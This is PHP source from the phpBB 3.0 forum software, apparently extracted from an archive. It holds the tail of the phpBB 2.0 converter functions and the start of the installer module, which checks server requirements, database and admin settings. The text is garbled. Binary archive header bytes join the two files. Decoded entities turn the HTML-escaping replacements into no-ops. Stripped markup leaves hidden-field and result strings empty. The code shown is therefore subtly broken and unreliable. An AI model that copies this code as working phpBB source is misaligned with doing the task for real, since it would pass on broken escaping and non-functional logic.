$message); $message = preg_replace('/\[quote=\\\"(.*?)\\\"\]/s', '[quote="\1"]', $message); // let's hope that this solves more problems than it causes. Deal with escaped quotes. $message = str_replace('\"', '"', $message); $message = str_replace('\"', '"', $message); } // Already the new user id ;) $user_id = $convert->row['poster_id']; $message = str_replace('
', "\n", $message); $message = str_replace('<', '<', $message); $message = str_replace('>', '>', $message); // make the post UTF-8 $message = phpbb_set_encoding($message); $message_parser->warn_msg = array(); // Reset the errors from the previous message $message_parser->bbcode_uid = make_uid($convert->row['post_time']); $message_parser->message = $message; unset($message); // Make sure options are set. // $enable_html = (!isset($row['enable_html'])) ? false : $row['enable_html']; $enable_bbcode = (!isset($convert->row['enable_bbcode'])) ? true : $convert->row['enable_bbcode']; $enable_smilies = (!isset($convert->row['enable_smilies'])) ? true : $convert->row['enable_smilies']; $enable_magic_url = (!isset($convert->row['enable_magic_url'])) ? true : $convert->row['enable_magic_url']; // parse($allow_bbcode, $allow_magic_url, $allow_smilies, $allow_img_bbcode = true, $allow_flash_bbcode = true, $allow_quote_bbcode = true, $allow_url_bbcode = true, $update_this_message = true, $mode = 'post') $message_parser->parse($enable_bbcode, $enable_magic_url, $enable_smilies); if (sizeof($message_parser->warn_msg)) { $msg_id = isset($convert->row['post_id']) ? $convert->row['post_id'] : $convert->row['privmsgs_id']; $convert->p_master->error('' . $user->lang['POST_ID'] . ': ' . $msg_id . ' ' . $user->lang['CONV_ERROR_MESSAGE_PARSER'] . ':

' . implode('
', $message_parser->warn_msg), __LINE__, __FILE__, true); } $convert->row['mp_bbcode_bitfield'] = $convert_row['mp_bbcode_bitfield'] = $message_parser->bbcode_bitfield; $message = $message_parser->message; unset($message_parser->message); return $message; } /** * Return the bitfield calculated by the previous function */ function get_bbcode_bitfield() { global $convert_row; return $convert_row['mp_bbcode_bitfield']; } /** * Determine the last user to edit a post * In practice we only tracked edits by the original poster in 2.0.x so this will only be set if they had edited their own post */ function phpbb_post_edit_user() { global $convert_row, $config; if (isset($convert_row['post_edit_count'])) { return phpbb_user_id($convert_row['poster_id']); } return 0; } /** * Obtain the path to uploaded files on the 2.0.x forum * This is only used if the Attachment MOD was installed */ function phpbb_get_files_dir() { if (!defined('MOD_ATTACHMENT')) { return; } global $src_db, $same_db, $convert, $user, $config, $cache; if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } $sql = 'SELECT config_value AS upload_dir FROM ' . $convert->src_table_prefix . "attachments_config WHERE config_name = 'upload_dir'"; $result = $src_db->sql_query($sql); $upload_path = $src_db->sql_fetchfield('upload_dir'); $src_db->sql_freeresult($result); $sql = 'SELECT config_value AS ftp_upload FROM ' . $convert->src_table_prefix . "attachments_config WHERE config_name = 'allow_ftp_upload'"; $result = $src_db->sql_query($sql); $ftp_upload = (int) $src_db->sql_fetchfield('ftp_upload'); $src_db->sql_freeresult($result); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } if ($ftp_upload) { $convert->p_master->error($user->lang['CONV_ERROR_ATTACH_FTP_DIR'], __LINE__, __FILE__); } return $upload_path; } /** * Copy thumbnails of uploaded images from the 2.0.x forum * This is only used if the Attachment MOD was installed */ function phpbb_copy_thumbnails() { global $db, $convert, $user, $config, $cache, $phpbb_root_path; $src_path = $convert->options['forum_path'] . '/' . phpbb_get_files_dir() . '/thumbs/'; if ($handle = @opendir($src_path)) { while ($entry = readdir($handle)) { if ($entry[0] == '.') { continue; } if (is_dir($src_path . $entry)) { continue; } else { copy_file($src_path . $entry, $config['upload_path'] . '/' . preg_replace('/^t_/', 'thumb_', $entry)); @unlink($phpbb_root_path . $config['upload_path'] . '/thumbs/' . $entry); } } closedir($handle); } } /** * Convert the attachment category constants * This is only used if the Attachment MOD was installed */ function phpbb_attachment_category($cat_id) { switch ($cat_id) { case 1: return ATTACHMENT_CATEGORY_IMAGE; break; case 2: return ATTACHMENT_CATEGORY_WM; break; case 3: return ATTACHMENT_CATEGORY_FLASH; break; } return ATTACHMENT_CATEGORY_NONE; } /** * Obtain list of forums in which different attachment categories can be used */ function phpbb_attachment_forum_perms($forum_permissions) { if (empty($forum_permissions)) { return ''; } // Decode forum permissions $forum_ids = array(); $one_char_encoding = '#'; $two_char_encoding = '.'; $auth_len = 1; for ($pos = 0; $pos < strlen($forum_permissions); $pos += $auth_len) { $forum_auth = substr($forum_permissions, $pos, 1); if ($forum_auth == $one_char_encoding) { $auth_len = 1; continue; } else if ($forum_auth == $two_char_encoding) { $auth_len = 2; $pos--; continue; } $forum_auth = substr($forum_permissions, $pos, $auth_len); $forum_id = base64_unpack($forum_auth); $forum_ids[] = (int) $forum_id; } if (sizeof($forum_ids)) { return attachment_forum_perms($forum_ids); } return ''; } /** * Convert the avatar type constants */ function phpbb_avatar_type($type) { switch ($type) { case 1: return AVATAR_UPLOAD; break; case 2: return AVATAR_REMOTE; break; case 3: return AVATAR_GALLERY; break; } return 0; } /** * Just undos the replacing of '<' and '>' */ function phpbb_smilie_html_decode($code) { $code = str_replace('<', '<', $code); return str_replace('>', '>', $code); } /** * Transfer avatars, copying the image if it was uploaded */ function phpbb_import_avatar($user_avatar) { global $convert_row; if (!$convert_row['user_avatar_type']) { return ''; } else if ($convert_row['user_avatar_type'] == 1) { // Uploaded avatar return import_avatar($user_avatar, false, $convert_row['user_id']); } else if ($convert_row['user_avatar_type'] == 2) { // Remote avatar return $user_avatar; } else if ($convert_row['user_avatar_type'] == 3) { // Gallery avatar return $user_avatar; } return ''; } /** * Find out about the avatar's dimensions */ function phpbb_get_avatar_height($user_avatar) { global $convert_row; if (empty($convert_row['user_avatar_type'])) { return 0; } return get_avatar_height($user_avatar, 'phpbb_avatar_type', $convert_row['user_avatar_type']); } /** * Find out about the avatar's dimensions */ function phpbb_get_avatar_width($user_avatar) { global $convert_row; if (empty($convert_row['user_avatar_type'])) { return 0; } return get_avatar_width($user_avatar, 'phpbb_avatar_type', $convert_row['user_avatar_type']); } /** * Calculate the correct to_address field for private messages */ function phpbb_privmsgs_to_userid($to_userid) { global $config; return 'u_' . phpbb_user_id($to_userid); } /** * Calculate whether a private message was unread using the bitfield */ function phpbb_unread_pm($pm_type) { return ($pm_type == 5) ? 1 : 0; } /** * Calculate whether a private message was new using the bitfield */ function phpbb_new_pm($pm_type) { return ($pm_type == 1) ? 1 : 0; } /** * Obtain the folder_id for the custom folder created to replace the savebox from 2.0.x (used to store saved private messages) */ function phpbb_get_savebox_id($user_id) { global $db; $user_id = phpbb_user_id($user_id); // Only one custom folder, check only one $sql = 'SELECT folder_id FROM ' . PRIVMSGS_FOLDER_TABLE . ' WHERE user_id = ' . $user_id; $result = $db->sql_query_limit($sql, 1); $folder_id = (int) $db->sql_fetchfield('folder_id'); $db->sql_freeresult($result); return $folder_id; } /** * Transfer attachment specific configuration options * These were not stored in the main config table on 2.0.x * This is only used if the Attachment MOD was installed */ function phpbb_import_attach_config() { global $db, $src_db, $same_db, $convert, $config; if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'binary'"); } $sql = 'SELECT * FROM ' . $convert->src_table_prefix . 'attachments_config'; $result = $src_db->sql_query($sql); if ($convert->mysql_convert && $same_db) { $src_db->sql_query("SET NAMES 'utf8'"); } $attach_config = array(); while ($row = $src_db->sql_fetchrow($result)) { $attach_config[$row['config_name']] = $row['config_value']; } $src_db->sql_freeresult($result); set_config('allow_attachments', 1); // old attachment mod? Must be very old if this entry do not exist... if (!empty($attach_config['display_order'])) { set_config('display_order', $attach_config['display_order']); } set_config('max_filesize', $attach_config['max_filesize']); set_config('max_filesize_pm', $attach_config['max_filesize_pm']); set_config('attachment_quota', $attach_config['attachment_quota']); set_config('max_attachments', $attach_config['max_attachments']); set_config('max_attachments_pm', $attach_config['max_attachments_pm']); set_config('allow_pm_attach', $attach_config['allow_pm_attach']); set_config('img_display_inlined', $attach_config['img_display_inlined']); set_config('img_max_width', $attach_config['img_max_width']); set_config('img_max_height', $attach_config['img_max_height']); set_config('img_link_width', $attach_config['img_link_width']); set_config('img_link_height', $attach_config['img_link_height']); set_config('img_create_thumbnail', $attach_config['img_create_thumbnail']); set_config('img_max_thumb_width', 400); set_config('img_min_thumb_filesize', $attach_config['img_min_thumb_filesize']); set_config('img_imagick', $attach_config['img_imagick']); } /** * Calculate the date a user became inactive */ function phpbb_inactive_time() { global $convert_row; if ($convert_row['user_active']) { return 0; } if ($convert_row['user_lastvisit']) { return $convert_row['user_lastvisit']; } return $convert_row['user_regdate']; } /** * Calculate the reason a user became inactive * We can't actually tell the difference between a manual deactivation and one for profile changes * from the data available to assume the latter */ function phpbb_inactive_reason() { global $convert_row; if ($convert_row['user_active']) { return 0; } if ($convert_row['user_lastvisit']) { return INACTIVE_PROFILE; } return INACTIVE_REGISTER; } /** * Adjust 2.0.x disallowed names to 3.0.x format */ function phpbb_disallowed_username($username) { // Replace * with % $username = phpbb_set_default_encoding(str_replace('*', '%', $username)); return utf8_htmlspecialchars($username); } /** * Checks whether there are any usernames on the old board that would map to the same * username_clean on phpBB3. Prints out a list if any exist and exits. */ function phpbb_create_userconv_table() { global $db, $src_db, $convert, $table_prefix, $user, $lang; $map_dbms = ''; switch ($db->sql_layer) { case 'mysql': $map_dbms = 'mysql_40'; break; case 'mysql4': if (version_compare($db->sql_server_info(true), '4.1.3', '>=')) { $map_dbms = 'mysql_41'; } else { $map_dbms = 'mysql_40'; } break; case 'mysqli': $map_dbms = 'mysql_41'; break; case 'mssql': case 'mssql_odbc': case 'mssqlnative': $map_dbms = 'mssql'; break; default: $map_dbms = $db->sql_layer; break; } // create a temporary table in which we store the clean usernames $drop_sql = 'DROP TABLE ' . USERCONV_TABLE; switch ($map_dbms) { case 'firebird': $create_sql = 'CREATE TABLE ' . USERCONV_TABLE . ' ( user_id INTEGER NOT NULL, username_clean VARCHAR(255) CHARACTER SET UTF8 DEFAULT \'\' NOT NULL COLLATE UNICODE )'; break; case 'mssql': $create_sql = 'CREATE TABLE [' . USERCONV_TABLE . '] ( [user_id] [int] NOT NULL , [username_clean] [varchar] (255) DEFAULT (\'\') NOT NULL )'; break; case 'mysql_40': $create_sql = 'CREATE TABLE ' . USERCONV_TABLE . ' ( user_id mediumint(8) NOT NULL, username_clean blob NOT NULL )'; break; case 'mysql_41': $create_sql = 'CREATE TABLE ' . USERCONV_TABLE . ' ( user_id mediumint(8) NOT NULL, username_clean varchar(255) DEFAULT \'\' NOT NULL ) CHARACTER SET `utf8` COLLATE `utf8_bin`'; break; case 'oracle': $create_sql = 'CREATE TABLE ' . USERCONV_TABLE . ' ( user_id number(8) NOT NULL, username_clean varchar2(255) DEFAULT \'\' )'; break; case 'postgres': $create_sql = 'CREATE TABLE ' . USERCONV_TABLE . ' ( user_id INT4 DEFAULT \'0\', username_clean varchar_ci DEFAULT \'\' NOT NULL )'; break; case 'sqlite': $create_sql = 'CREATE TABLE ' . USERCONV_TABLE . ' ( user_id INTEGER NOT NULL DEFAULT \'0\', username_clean varchar(255) NOT NULL DEFAULT \'\' )'; break; } $db->sql_return_on_error(true); $db->sql_query($drop_sql); $db->sql_return_on_error(false); $db->sql_query($create_sql); } function phpbb_check_username_collisions() { global $db, $src_db, $convert, $table_prefix, $user, $lang; // now find the clean version of the usernames that collide $sql = 'SELECT username_clean FROM ' . USERCONV_TABLE .' GROUP BY username_clean HAVING COUNT(user_id) > 1'; $result = $db->sql_query($sql); $colliding_names = array(); while ($row = $db->sql_fetchrow($result)) { $colliding_names[] = $row['username_clean']; } $db->sql_freeresult($result); // there was at least one collision, the admin will have to solve it before conversion can continue if (sizeof($colliding_names)) { $sql = 'SELECT user_id, username_clean FROM ' . USERCONV_TABLE . ' WHERE ' . $db->sql_in_set('username_clean', $colliding_names); $result = $db->sql_query($sql); unset($colliding_names); $colliding_user_ids = array(); while ($row = $db->sql_fetchrow($result)) { $colliding_user_ids[(int) $row['user_id']] = $row['username_clean']; } $db->sql_freeresult($result); $sql = 'SELECT username, user_id, user_posts FROM ' . $convert->src_table_prefix . 'users WHERE ' . $src_db->sql_in_set('user_id', array_keys($colliding_user_ids)); $result = $src_db->sql_query($sql); $colliding_users = array(); while ($row = $src_db->sql_fetchrow($result)) { $row['user_id'] = (int) $row['user_id']; if (isset($colliding_user_ids[$row['user_id']])) { $colliding_users[$colliding_user_ids[$row['user_id']]][] = $row; } } $src_db->sql_freeresult($result); unset($colliding_user_ids); $list = ''; foreach ($colliding_users as $username_clean => $users) { $list .= sprintf($user->lang['COLLIDING_CLEAN_USERNAME'], $username_clean) . "
\n"; foreach ($users as $i => $row) { $list .= sprintf($user->lang['COLLIDING_USER'], $row['user_id'], phpbb_set_default_encoding($row['username']), $row['user_posts']) . "
\n"; } } $lang['INST_ERR_FATAL'] = $user->lang['CONV_ERR_FATAL']; $convert->p_master->error('' . $user->lang['COLLIDING_USERNAMES_FOUND'] . '


' . $list . '', __LINE__, __FILE__); } $drop_sql = 'DROP TABLE ' . USERCONV_TABLE; $db->sql_query($drop_sql); } ?>PK‰† [l%òUUinstall_install.phpnuW+A„¶ 'install', 'module_title' => 'INSTALL', 'module_filename' => substr(basename(__FILE__), 0, -strlen($phpEx)-1), 'module_order' => 10, 'module_subs' => '', 'module_stages' => array('INTRO', 'REQUIREMENTS', 'DATABASE', 'ADMINISTRATOR', 'CONFIG_FILE', 'ADVANCED', 'CREATE_TABLE', 'FINAL'), 'module_reqs' => '' ); } /** * Installation * @package install */ class install_install extends module { function install_install(&$p_master) { $this->p_master = &$p_master; } function main($mode, $sub) { global $lang, $template, $language, $phpbb_root_path, $cache; switch ($sub) { case 'intro': $cache->purge(); $this->page_title = $lang['SUB_INTRO']; $template->assign_vars(array( 'TITLE' => $lang['INSTALL_INTRO'], 'BODY' => $lang['INSTALL_INTRO_BODY'], 'L_SUBMIT' => $lang['NEXT_STEP'], 'S_LANG_SELECT' => '', 'U_ACTION' => $this->p_master->module_url . "?mode=$mode&sub=requirements&language=$language", )); break; case 'requirements': $this->check_server_requirements($mode, $sub); break; case 'database': $this->obtain_database_settings($mode, $sub); break; case 'administrator': $this->obtain_admin_settings($mode, $sub); break; case 'config_file': $this->create_config_file($mode, $sub); break; case 'advanced': $this->obtain_advanced_settings($mode, $sub); break; case 'create_table': $this->load_schema($mode, $sub); break; case 'final': $this->build_search_index($mode, $sub); $this->add_modules($mode, $sub); $this->add_language($mode, $sub); $this->add_bots($mode, $sub); $this->email_admin($mode, $sub); $this->disable_avatars_if_unwritable(); // Remove the lock file @unlink($phpbb_root_path . 'cache/install_lock'); break; } $this->tpl_name = 'install_install'; } /** * Checks that the server we are installing on meets the requirements for running phpBB */ function check_server_requirements($mode, $sub) { global $lang, $template, $phpbb_root_path, $phpEx, $language; $this->page_title = $lang['STAGE_REQUIREMENTS']; $template->assign_vars(array( 'TITLE' => $lang['REQUIREMENTS_TITLE'], 'BODY' => $lang['REQUIREMENTS_EXPLAIN'], )); $passed = array('php' => false, 'db' => false, 'files' => false, 'pcre' => false, 'imagesize' => false,); // Test for basic PHP settings $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['PHP_SETTINGS'], 'LEGEND_EXPLAIN' => $lang['PHP_SETTINGS_EXPLAIN'], )); // Test the minimum PHP version $php_version = PHP_VERSION; if (version_compare($php_version, '4.3.3') < 0) { $result = '' . $lang['NO'] . ''; } else { $passed['php'] = true; // We also give feedback on whether we're running in safe mode $result = '' . $lang['YES']; if (@ini_get('safe_mode') == '1' || strtolower(@ini_get('safe_mode')) == 'on') { $result .= ', ' . $lang['PHP_SAFE_MODE']; } $result .= ''; } $template->assign_block_vars('checks', array( 'TITLE' => $lang['PHP_VERSION_REQD'], 'RESULT' => $result, 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); // Don't check for register_globals on 5.4+ if (version_compare($php_version, '5.4.0-dev') < 0) { // Check for register_globals being enabled if (@ini_get('register_globals') == '1' || strtolower(@ini_get('register_globals')) == 'on') { $result = '' . $lang['NO'] . ''; } else { $result = '' . $lang['YES'] . ''; } $template->assign_block_vars('checks', array( 'TITLE' => $lang['PHP_REGISTER_GLOBALS'], 'TITLE_EXPLAIN' => $lang['PHP_REGISTER_GLOBALS_EXPLAIN'], 'RESULT' => $result, 'S_EXPLAIN' => true, 'S_LEGEND' => false, )); } // Check for url_fopen if (@ini_get('allow_url_fopen') == '1' || strtolower(@ini_get('allow_url_fopen')) == 'on') { $result = '' . $lang['YES'] . ''; } else { $result = '' . $lang['NO'] . ''; } $template->assign_block_vars('checks', array( 'TITLE' => $lang['PHP_URL_FOPEN_SUPPORT'], 'TITLE_EXPLAIN' => $lang['PHP_URL_FOPEN_SUPPORT_EXPLAIN'], 'RESULT' => $result, 'S_EXPLAIN' => true, 'S_LEGEND' => false, )); // Check for getimagesize if (@function_exists('getimagesize')) { $passed['imagesize'] = true; $result = '' . $lang['YES'] . ''; } else { $result = '' . $lang['NO'] . ''; } $template->assign_block_vars('checks', array( 'TITLE' => $lang['PHP_GETIMAGESIZE_SUPPORT'], 'TITLE_EXPLAIN' => $lang['PHP_GETIMAGESIZE_SUPPORT_EXPLAIN'], 'RESULT' => $result, 'S_EXPLAIN' => true, 'S_LEGEND' => false, )); // Check for PCRE UTF-8 support if (@preg_match('//u', '')) { $passed['pcre'] = true; $result = '' . $lang['YES'] . ''; } else { $result = '' . $lang['NO'] . ''; } $template->assign_block_vars('checks', array( 'TITLE' => $lang['PCRE_UTF_SUPPORT'], 'TITLE_EXPLAIN' => $lang['PCRE_UTF_SUPPORT_EXPLAIN'], 'RESULT' => $result, 'S_EXPLAIN' => true, 'S_LEGEND' => false, )); /** * Better not enabling and adding to the loaded extensions due to the specific requirements needed if (!@extension_loaded('mbstring')) { can_load_dll('mbstring'); } */ $passed['mbstring'] = true; if (@extension_loaded('mbstring')) { // Test for available database modules $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['MBSTRING_CHECK'], 'LEGEND_EXPLAIN' => $lang['MBSTRING_CHECK_EXPLAIN'], )); $checks = array( array('func_overload', '&', MB_OVERLOAD_MAIL|MB_OVERLOAD_STRING), array('encoding_translation', '!=', 0), array('http_input', '!=', 'pass'), array('http_output', '!=', 'pass') ); foreach ($checks as $mb_checks) { $ini_val = @ini_get('mbstring.' . $mb_checks[0]); switch ($mb_checks[1]) { case '&': if (intval($ini_val) & $mb_checks[2]) { $result = '' . $lang['NO'] . ''; $passed['mbstring'] = false; } else { $result = '' . $lang['YES'] . ''; } break; case '!=': if ($ini_val != $mb_checks[2]) { $result = '' . $lang['NO'] . ''; $passed['mbstring'] = false; } else { $result = '' . $lang['YES'] . ''; } break; } $template->assign_block_vars('checks', array( 'TITLE' => $lang['MBSTRING_' . strtoupper($mb_checks[0])], 'TITLE_EXPLAIN' => $lang['MBSTRING_' . strtoupper($mb_checks[0]) . '_EXPLAIN'], 'RESULT' => $result, 'S_EXPLAIN' => true, 'S_LEGEND' => false, )); } } // Test for available database modules $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['PHP_SUPPORTED_DB'], 'LEGEND_EXPLAIN' => $lang['PHP_SUPPORTED_DB_EXPLAIN'], )); $available_dbms = get_available_dbms(false, true); $passed['db'] = $available_dbms['ANY_DB_SUPPORT']; unset($available_dbms['ANY_DB_SUPPORT']); foreach ($available_dbms as $db_name => $db_ary) { if (!$db_ary['AVAILABLE']) { $template->assign_block_vars('checks', array( 'TITLE' => $lang['DLL_' . strtoupper($db_name)], 'RESULT' => '' . $lang['UNAVAILABLE'] . '', 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); } else { $template->assign_block_vars('checks', array( 'TITLE' => $lang['DLL_' . strtoupper($db_name)], 'RESULT' => '' . $lang['AVAILABLE'] . '', 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); } } // Test for other modules $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['PHP_OPTIONAL_MODULE'], 'LEGEND_EXPLAIN' => $lang['PHP_OPTIONAL_MODULE_EXPLAIN'], )); foreach ($this->php_dlls_other as $dll) { if (!@extension_loaded($dll)) { if (!can_load_dll($dll)) { $template->assign_block_vars('checks', array( 'TITLE' => $lang['DLL_' . strtoupper($dll)], 'RESULT' => '' . $lang['UNAVAILABLE'] . '', 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); continue; } } $template->assign_block_vars('checks', array( 'TITLE' => $lang['DLL_' . strtoupper($dll)], 'RESULT' => '' . $lang['AVAILABLE'] . '', 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); } // Can we find Imagemagick anywhere on the system? $exe = (DIRECTORY_SEPARATOR == '\\') ? '.exe' : ''; $magic_home = getenv('MAGICK_HOME'); $img_imagick = ''; if (empty($magic_home)) { $locations = array('C:/WINDOWS/', 'C:/WINNT/', 'C:/WINDOWS/SYSTEM/', 'C:/WINNT/SYSTEM/', 'C:/WINDOWS/SYSTEM32/', 'C:/WINNT/SYSTEM32/', '/usr/bin/', '/usr/sbin/', '/usr/local/bin/', '/usr/local/sbin/', '/opt/', '/usr/imagemagick/', '/usr/bin/imagemagick/'); $path_locations = str_replace('\\', '/', (explode(($exe) ? ';' : ':', getenv('PATH')))); $locations = array_merge($path_locations, $locations); foreach ($locations as $location) { // The path might not end properly, fudge it if (substr($location, -1, 1) !== '/') { $location .= '/'; } if (@file_exists($location) && @is_readable($location . 'mogrify' . $exe) && @filesize($location . 'mogrify' . $exe) > 3000) { $img_imagick = str_replace('\\', '/', $location); continue; } } } else { $img_imagick = str_replace('\\', '/', $magic_home); } $template->assign_block_vars('checks', array( 'TITLE' => $lang['APP_MAGICK'], 'RESULT' => ($img_imagick) ? '' . $lang['AVAILABLE'] . ', ' . $img_imagick . '' : '' . $lang['NO_LOCATION'] . '', 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); // Check permissions on files/directories we need access to $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['FILES_REQUIRED'], 'LEGEND_EXPLAIN' => $lang['FILES_REQUIRED_EXPLAIN'], )); $directories = array('cache/', 'files/', 'store/'); umask(0); $passed['files'] = true; foreach ($directories as $dir) { $exists = $write = false; // Try to create the directory if it does not exist if (!file_exists($phpbb_root_path . $dir)) { @mkdir($phpbb_root_path . $dir, 0777); phpbb_chmod($phpbb_root_path . $dir, CHMOD_READ | CHMOD_WRITE); } // Now really check if (file_exists($phpbb_root_path . $dir) && is_dir($phpbb_root_path . $dir)) { phpbb_chmod($phpbb_root_path . $dir, CHMOD_READ | CHMOD_WRITE); $exists = true; } // Now check if it is writable by storing a simple file $fp = @fopen($phpbb_root_path . $dir . 'test_lock', 'wb'); if ($fp !== false) { $write = true; } @fclose($fp); @unlink($phpbb_root_path . $dir . 'test_lock'); $passed['files'] = ($exists && $write && $passed['files']) ? true : false; $exists = ($exists) ? '' . $lang['FOUND'] . '' : '' . $lang['NOT_FOUND'] . ''; $write = ($write) ? ', ' . $lang['WRITABLE'] . '' : (($exists) ? ', ' . $lang['UNWRITABLE'] . '' : ''); $template->assign_block_vars('checks', array( 'TITLE' => $dir, 'RESULT' => $exists . $write, 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); } // Check permissions on files/directories it would be useful access to $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['FILES_OPTIONAL'], 'LEGEND_EXPLAIN' => $lang['FILES_OPTIONAL_EXPLAIN'], )); $directories = array('config.' . $phpEx, 'images/avatars/upload/'); foreach ($directories as $dir) { $write = $exists = true; if (file_exists($phpbb_root_path . $dir)) { if (!phpbb_is_writable($phpbb_root_path . $dir)) { $write = false; } } else { $write = $exists = false; } $exists_str = ($exists) ? '' . $lang['FOUND'] . '' : '' . $lang['NOT_FOUND'] . ''; $write_str = ($write) ? ', ' . $lang['WRITABLE'] . '' : (($exists) ? ', ' . $lang['UNWRITABLE'] . '' : ''); $template->assign_block_vars('checks', array( 'TITLE' => $dir, 'RESULT' => $exists_str . $write_str, 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); } // And finally where do we want to go next (well today is taken isn't it :P) $s_hidden_fields = ($img_imagick) ? '' : ''; $url = (!in_array(false, $passed)) ? $this->p_master->module_url . "?mode=$mode&sub=database&language=$language" : $this->p_master->module_url . "?mode=$mode&sub=requirements&language=$language "; $submit = (!in_array(false, $passed)) ? $lang['INSTALL_START'] : $lang['INSTALL_TEST']; $template->assign_vars(array( 'L_SUBMIT' => $submit, 'S_HIDDEN' => $s_hidden_fields, 'U_ACTION' => $url, )); } /** * Obtain the information required to connect to the database */ function obtain_database_settings($mode, $sub) { global $lang, $template, $phpEx; $this->page_title = $lang['STAGE_DATABASE']; // Obtain any submitted data $data = $this->get_submitted_data(); $connect_test = false; $error = array(); $available_dbms = get_available_dbms(false, true); // Has the user opted to test the connection? if (isset($_POST['testdb'])) { if (!isset($available_dbms[$data['dbms']]) || !$available_dbms[$data['dbms']]['AVAILABLE']) { $error[] = $lang['INST_ERR_NO_DB']; $connect_test = false; } else if (!preg_match(get_preg_expression('table_prefix'), $data['table_prefix'])) { $error[] = $lang['INST_ERR_DB_INVALID_PREFIX']; $connect_test = false; } else { $connect_test = connect_check_db(true, $error, $available_dbms[$data['dbms']], $data['table_prefix'], $data['dbhost'], $data['dbuser'], htmlspecialchars_decode($data['dbpasswd']), $data['dbname'], $data['dbport']); } $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['DB_CONNECTION'], 'LEGEND_EXPLAIN' => false, )); if ($connect_test) { $template->assign_block_vars('checks', array( 'TITLE' => $lang['DB_TEST'], 'RESULT' => '' . $lang['SUCCESSFUL_CONNECT'] . '', 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); } else { $template->assign_block_vars('checks', array( 'TITLE' => $lang['DB_TEST'], 'RESULT' => '' . implode('
', $error) . '
', 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); } } if (!$connect_test) { // Update the list of available DBMS modules to only contain those which can be used $available_dbms_temp = array(); foreach ($available_dbms as $type => $dbms_ary) { if (!$dbms_ary['AVAILABLE']) { continue; } $available_dbms_temp[$type] = $dbms_ary; } $available_dbms = &$available_dbms_temp; // And now for the main part of this page $data['table_prefix'] = (!empty($data['table_prefix']) ? $data['table_prefix'] : 'phpbb_'); foreach ($this->db_config_options as $config_key => $vars) { if (!is_array($vars) && strpos($config_key, 'legend') === false) { continue; } if (strpos($config_key, 'legend') !== false) { $template->assign_block_vars('options', array( 'S_LEGEND' => true, 'LEGEND' => $lang[$vars]) ); continue; } $options = isset($vars['options']) ? $vars['options'] : ''; $template->assign_block_vars('options', array( 'KEY' => $config_key, 'TITLE' => $lang[$vars['lang']], 'S_EXPLAIN' => $vars['explain'], 'S_LEGEND' => false, 'TITLE_EXPLAIN' => ($vars['explain']) ? $lang[$vars['lang'] . '_EXPLAIN'] : '', 'CONTENT' => $this->p_master->input_field($config_key, $vars['type'], $data[$config_key], $options), ) ); } } // And finally where do we want to go next (well today is taken isn't it :P) $s_hidden_fields = ($data['img_imagick']) ? '' : ''; $s_hidden_fields .= ''; if ($connect_test) { foreach ($this->db_config_options as $config_key => $vars) { if (!is_array($vars)) { continue; } $s_hidden_fields .= ''; } } $url = ($connect_test) ? $this->p_master->module_url . "?mode=$mode&sub=administrator" : $this->p_master->module_url . "?mode=$mode&sub=database"; $s_hidden_fields .= ($connect_test) ? '' : ''; $submit = $lang['NEXT_STEP']; $template->assign_vars(array( 'L_SUBMIT' => $submit, 'S_HIDDEN' => $s_hidden_fields, 'U_ACTION' => $url, )); } /** * Obtain the administrator's name, password and email address */ function obtain_admin_settings($mode, $sub) { global $lang, $template, $phpEx; $this->page_title = $lang['STAGE_ADMINISTRATOR']; // Obtain any submitted data $data = $this->get_submitted_data(); if ($data['dbms'] == '') { // Someone's been silly and tried calling this page direct // So we send them back to the start to do it again properly $this->p_master->redirect("index.$phpEx?mode=install"); } $s_hidden_fields = ($data['img_imagick']) ? '' : ''; $passed = false; $data['default_lang'] = ($data['default_lang'] !== '') ? $data['default_lang'] : $data['language']; if (isset($_POST['check'])) { $error = array(); // Check the entered email address and password if ($data['admin_name'] == '' || $data['admin_pass1'] == '' || $data['admin_pass2'] == '' || $data['board_email1'] == '' || $data['board_email2'] == '') { $error[] = $lang['INST_ERR_MISSING_DATA']; } if ($data['admin_pass1'] != $data['admin_pass2'] && $data['admin_pass1'] != '') { $error[] = $lang['INST_ERR_PASSWORD_MISMATCH']; } // Test against the default username rules if ($data['admin_name'] != '' && utf8_strlen($data['admin_name']) < 3) { $error[] = $lang['INST_ERR_USER_TOO_SHORT']; } if ($data['admin_name'] != '' && utf8_strlen($data['admin_name']) > 20) { $error[] = $lang['INST_ERR_USER_TOO_LONG']; } // Test against the default password rules if ($data['admin_pass1'] != '' && utf8_strlen($data['admin_pass1']) < 6) { $error[] = $lang['INST_ERR_PASSWORD_TOO_SHORT']; } if ($data['admin_pass1'] != '' && utf8_strlen($data['admin_pass1']) > 30) { $error[] = $lang['INST_ERR_PASSWORD_TOO_LONG']; } if ($data['board_email1'] != $data['board_email2'] && $data['board_email1'] != '') { $error[] = $lang['INST_ERR_EMAIL_MISMATCH']; } if ($data['board_email1'] != '' && !preg_match('/^' . get_preg_expression('email') . '$/i', $data['board_email1'])) { $error[] = $lang['INST_ERR_EMAIL_INVALID']; } $template->assign_block_vars('checks', array( 'S_LEGEND' => true, 'LEGEND' => $lang['STAGE_ADMINISTRATOR'], 'LEGEND_EXPLAIN' => false, )); if (!sizeof($error)) { $passed = true; $template->assign_block_vars('checks', array( 'TITLE' => $lang['ADMIN_TEST'], 'RESULT' => '' . $lang['TESTS_PASSED'] . '', 'S_EXPLAIN' => false, 